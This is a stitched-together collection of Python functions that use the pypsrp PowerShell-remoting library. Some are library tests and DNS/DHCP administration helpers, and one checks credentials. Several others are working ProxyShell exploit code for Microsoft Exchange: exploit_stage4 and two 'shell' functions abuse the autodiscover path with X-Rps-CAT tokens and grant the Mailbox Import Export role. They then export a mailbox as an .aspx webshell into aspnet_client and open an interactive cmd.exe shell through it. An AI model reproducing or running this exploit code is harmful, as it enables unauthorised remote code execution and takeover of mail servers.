def test_psrp(self, functional_transports): for wsman in functional_transports: with RunspacePool(wsman) as pool: pool.exchange_keys() ps = PowerShell(pool) ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows") ps.add_statement() sec_string = pool.serialize(u"super secret", ObjectMeta("SS")) ps.add_cmdlet("Set-Variable") ps.add_parameter("Name", "password") ps.add_parameter("Value", sec_string) ps.add_statement().add_script( "[System.Runtime.InteropServices.marshal]" "::PtrToStringAuto([System.Runtime.InteropServices.marshal]" "::SecureStringToBSTR($password))") ps.add_statement().add_cmdlet("ConvertTo-SecureString") ps.add_parameter("String", "host secret") ps.add_parameter("AsPlainText") ps.add_parameter("Force") large_string = "hello world " * 3000 ps.add_statement() ps.add_script("$VerbosePreference = 'Continue'; " "Write-Verbose '%s'" % large_string) actual = ps.invoke() assert ps.had_errors is False assert len(actual) == 3 assert str(actual[0]) == "C:\\Windows" assert actual[1] == u"super secret" assert actual[2] == u"host secret" assert str(ps.streams.verbose[0]) == large_string
def exploit_stage4(target, auth_b64, alias_name, subject, fShell): logger.debug("[Stage 4] Dealing with WSMV") wsman = WSMan(server=target, port=443, path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', ssl="true", cert_validation=False) logger.debug("[Stage 4] Dealing with PSRP") with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Assign Management Role") ps = PowerShell(pool) #ps.add_cmdlet("Get-User") ps.add_cmdlet("New-ManagementRoleAssignment") ps.add_parameter("Role", "Mailbox Import Export") ps.add_parameter("SecurityGroup", "Organization Management") output = ps.invoke() with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Exporting MailBox as Webshell") ps = PowerShell(pool) ps.add_cmdlet("New-MailboxExportRequest") ps.add_parameter("Mailbox", alias_name) ps.add_parameter("Name", subject) ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject)) ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) output = ps.invoke() logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Cleaning Notification") ps = PowerShell(pool) ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false") output = ps.invoke()
def failfast(self): all_zones, bad_zones = ([] for i in range(2)) # Create combined list of all forward and reverse zones for csv_dict in self.csv_dns_fw_dm: for zone in csv_dict.keys(): all_zones.append(zone) for csv_dict in self.csv_dns_rv_dm: for zone in csv_dict.keys(): all_zones.append(zone) # Interate through all zones and see if exist on DNS server for zone in all_zones: with RunspacePool(self.wsman_conn) as pool: print('-', zone) ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerZone {}".format(zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_zones = ps.output if len(dns_zones) == 0: bad_zones.append(zone) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_zones) != 0: return '!!! Error - The following zones dont exist on the DNS server: \n{}'.format(bad_zones)
def get_entries(self): dhcp_dm = [] # On a per-scope gets all the current DHCP addresses that will then be compared to those in the CSV for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Reservation -scopeid {}".format( scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output[ 3:-2] # Elimates headers and blank lines # From the ps output create a DHCP DM of scope: [[IP], [mac], [name], [(IP, MAC, name)]] ip_name_mac = [] if len(dhcp_reserv ) == 0: # skips if no DHCP reservations in the scope pass else: for r in dhcp_reserv: ip_name_mac.append( (r.split()[0], r.split()[3][:17].lower(), r.split()[2].lower())) dhcp_dm.append({scope: ip_name_mac}) return dhcp_dm
def deploy_csv(self, type, temp_csv, win_dir): # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) except Exception as e: # If copy fails script fails print( "!!! Error - Could not copy CSV file to DHCP server, investigate the below error before re-running the script.\n{}" .format(e)) exit() # Add or remove DHCP entries dependant on the value of the variable 'type' with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) if type == 'add': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Add-DhcpServerv4Reservation") elif type == 'remove': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Remove-DhcpServerv4Reservation") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Cleanup temp files os.remove(temp_csv) try: self.client_conn.execute_cmd("del {}".format( win_dir.replace( "/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print( "!!! Warning - Could not delete temporary file {} off DHCP server, you will have to do manually.\n{}" .format(win_dir, e)) return output
def main(host, username, password, command): wsman = WSMan(host, username=username, password=password, cert_validation=False) with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet(command) ps.invoke() print(ps.output[0])
def check_creds(host, username, password, domain): has_access = False try: username = '******' % (domain, username) wsman = WSMan(host, username=username, password=password, ssl=False, auth='ntlm') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet('Invoke-Expression')\ .add_parameter('Command', 'whoami') ps.begin_invoke() while ps.output is None or ps.output == '': ps.poll_invoke() ps.end_invoke() if len(ps.output) > 0: has_access = True except: has_access = False return has_access
def test_psrp_jea(self, functional_transports): for wsman in functional_transports: with RunspacePool(wsman, configuration_name="JEARole") as pool: ps = PowerShell(pool) wsman_path = "WSMan:\\localhost\\Service\\AllowUnencrypted" ps.add_cmdlet("Get-Item").add_parameter("Path", wsman_path) ps.add_statement() ps.add_cmdlet("Set-Item").add_parameters({ "Path": wsman_path, "Value": "True" }) actual = ps.invoke() assert ps.had_errors is True assert len(actual) == 1 assert actual[0].property_sets[0].adapted_properties['Value'] == \ 'false' assert str(ps.streams.error[0]) == \ "The term 'Set-Item' is not recognized as the name of a " \ "cmdlet, function, script file, or operable program. Check " \ "the spelling of the name, or if a path was included, " \ "verify that the path is correct and try again."
def failfast(self): bad_scopes = [] for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): print('-', scope) # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Scope -scopeid {}".format(scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output if len(dhcp_reserv) == 0: bad_scopes.append(scope) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_scopes) != 0: return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format( bad_scopes)
def execute_ps( self, script: str, configuration_name: str = DEFAULT_CONFIGURATION_NAME, environment: typing.Optional[typing.Dict[str, str]] = None, ) -> typing.Tuple[str, PSDataStreams, bool]: """ Executes a PowerShell script in a PowerShell runspace pool. This uses the PSRP layer and is designed to run a PowerShell script and not a raw executable. Because this runs in a runspace, traditional concepts like stdout, stderr, rc's are no longer relevant. Instead there is a output, error/verbose/debug streams, and a boolean that indicates if the script execution came across an error. If you want the traditional stdout/stderr/rc, use execute_cmd instead. :param script: The PowerShell script to run :param configuration_name: The PowerShell configuration endpoint to use when executing the script. :param environment: A dictionary containing environment keys and values to set on the executing script. :return: A tuple of output: A unicode string of the output stream streams: pypsrp.powershell.PSDataStreams containing the other PowerShell streams had_errors: bool that indicates whether the script had errors during execution """ log.info("Executing PowerShell script '%s'" % script) with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: powershell = PowerShell(pool) if environment: for env_key, env_value in environment.items(): # Done like this for easier testing, preserves the param order log.debug("Setting env var '%s' on PS script execution" % env_key) powershell.add_cmdlet("New-Item").add_parameter( "Path", "env:").add_parameter("Name", env_key).add_parameter( "Value", env_value).add_parameter( "Force", True).add_cmdlet("Out-Null").add_statement() # so the client executes a powershell script and doesn't need to # deal with complex PS objects, we run the script in # Invoke-Expression and convert the output to a string # if a user wants to get the raw complex objects then they should # use RunspacePool and PowerShell directly powershell.add_cmdlet("Invoke-Expression").add_parameter( "Command", script) powershell.add_cmdlet("Out-String").add_parameter("Stream") powershell.invoke() return "\n".join( powershell.output), powershell.streams, powershell.had_errors
def execute_ps(self, script): """ Executes a PowerShell script in a PowerShell runspace pool. This uses the PSRP layer and is designed to run a PowerShell script and not a raw executable. Because this runs in a runspace, traditional concepts like stdout, stderr, rc's are no longer relevant. Instead there is a output, error/verbose/debug streams, and a boolean that indicates if the script execution came across an error. If you want the traditional stdout/stderr/rc, use execute_cmd instead. :param script: The PowerShell script to run :return: A tuple of output: A unicode string of the output stream streams: pypsrp.powershell.PSDataStreams containing the other PowerShell streams had_errors: bool that indicates whether the script had errors during execution """ log.info("Executing PowerShell script '%s'" % script) with RunspacePool(self.wsman) as pool: powershell = PowerShell(pool) # so the client executes a powershell script and doesn't need to # deal with complex PS objects, we run the script in # Invoke-Expression and convert the output to a string # if a user wants to get the raw complex objects then they should # use RunspacePool and PowerShell directly powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script) powershell.add_cmdlet("Out-String").add_parameter("Stream") powershell.invoke() return "\n".join(powershell.output), powershell.streams, \ powershell.had_errors
def get_entries(self): dns_fw_dm, dns_rv_dm = ([] for i in range(2)) # On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_fw in self.csv_dns_fw_dm : for domain in csv_dns_fw.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_fw_records = ps.output # From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)] ip_name_ttl = [] if len(dns_fw_records) == 0: # skips if no A records in the zone pass else: for a in dns_fw_records[3:-2]: # Elimates headers and trailing blank lines a = a.split() ip_name_ttl .append((a[-1], a[0].lower(), a[-2])) # Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}] dns_fw_dm.append({domain: ip_name_ttl}) # On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_rv in self.csv_dns_rv_dm: for rev_zone in csv_dns_rv.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_rv_records = ps.output hst_name = [] if len(dns_rv_records) == 0: # skips if no PTR records in the zone pass else: for ptr in dns_rv_records[3:-2]: ptr = ptr.split() hst_name.append((ptr[0], ptr[-1].lower())) dns_rv_dm.append({rev_zone: hst_name}) # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}] return [dns_fw_dm, dns_rv_dm]
def deploy_csv(self, type, temp_csv, win_dir): win_dir1 = win_dir.replace(".csv", "1.csv") # Extra temp file required for removing DNS RV entries self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries) # To make it A/PTR records, should be same as deployed in the 1 cmd # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) if type == 'remove': self.client_conn.copy(self.temp_csv1, win_dir1) except Exception as e: # If copy fails script fails print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e)) exit() # Add DNS entries if type == 'add': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV elif type == 'remove': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # adds the errors as lists so can add outputs from next cmd with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force") ps.invoke() output[1].append(ps.had_errors) output[2].append(ps.streams.error) # Cleanup temp files try: os.remove(temp_csv) self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\"))) # Windows wont take / format with the cmd if type == 'remove': os.remove(self.temp_csv1) self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e)) return output
def shell(command, port, proxyshell): # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ if command.lower() in ['exit', 'quit']: exit() wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool: if command.lower().strip() == 'dropshell': drop_shell(proxyshell) ps = PowerShell(pool) ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error])) ps = PowerShell(pool) ps.add_cmdlet( 'New-MailboxExportRequest' ).add_parameter( 'Mailbox', proxyshell.email ).add_parameter( 'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx' ).add_parameter( 'IncludeFolders', '#Drafts#' ).add_parameter( 'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\'' ) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error])) shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx' print(f'Shell URL: {shell_url}') for i in range(10): print(f'Testing shell {i}') r = requests.get(shell_url, verify=proxyshell.session.verify) if r.status_code == 200: delimit = rand_string() while True: cmd = input('Shell> ') if cmd.lower() in ['exit', 'quit']: return exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");' r = requests.get( shell_url, params={ 'exec_code':exec_code }, verify=proxyshell.session.verify ) output = r.content.split(delimit.encode())[1] print(output.decode()) time.sleep(5) i += 1 print('Shell drop failed :(') return else: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def shell(command, port, proxyshell): # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ if command.lower() in ['exit', 'quit']: exit() powershell_url = f'/Powershell?X-Rps-CAT={proxyshell.token}' suffix = f'&Email=autodiscover/autodiscover.json%3F{proxyshell.rand_email_split}' path = f'autodiscover/autodiscover.json?{proxyshell.rand_email_split}{powershell_url}{suffix}' wsman = WSMan(proxyshell.exchange_url.replace("https://", ""), path=path, ssl="true", port=443, cert_validation=False) with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool: if command.lower().strip() == 'dropshell': drop_shell(proxyshell) #New-MailboxExportRequest might fail. Use New-ExchangeCertificate to get RCE ps = PowerShell(pool) ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter( 'Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error])) ps = PowerShell(pool) ps.add_cmdlet('New-MailboxExportRequest').add_parameter( 'Mailbox', proxyshell.email ).add_parameter( 'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx' ).add_parameter('IncludeFolders', '#Drafts#').add_parameter( 'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\'') output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error])) shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx' print(f'Shell URL: {shell_url}') for i in range(10): print(f'Testing shell {i}') r = requests.get(shell_url, verify=proxyshell.session.verify) if r.status_code == 200: delimit = rand_string() while True: cmd = input('Shell> ') if cmd.lower() in ['exit', 'quit']: return exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");' r = requests.get(shell_url, params={'exec_code': exec_code}, verify=proxyshell.session.verify) output = r.content.split(delimit.encode())[1] print(output.decode()) time.sleep(5) i += 1 print('Shell drop failed :(') return else: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))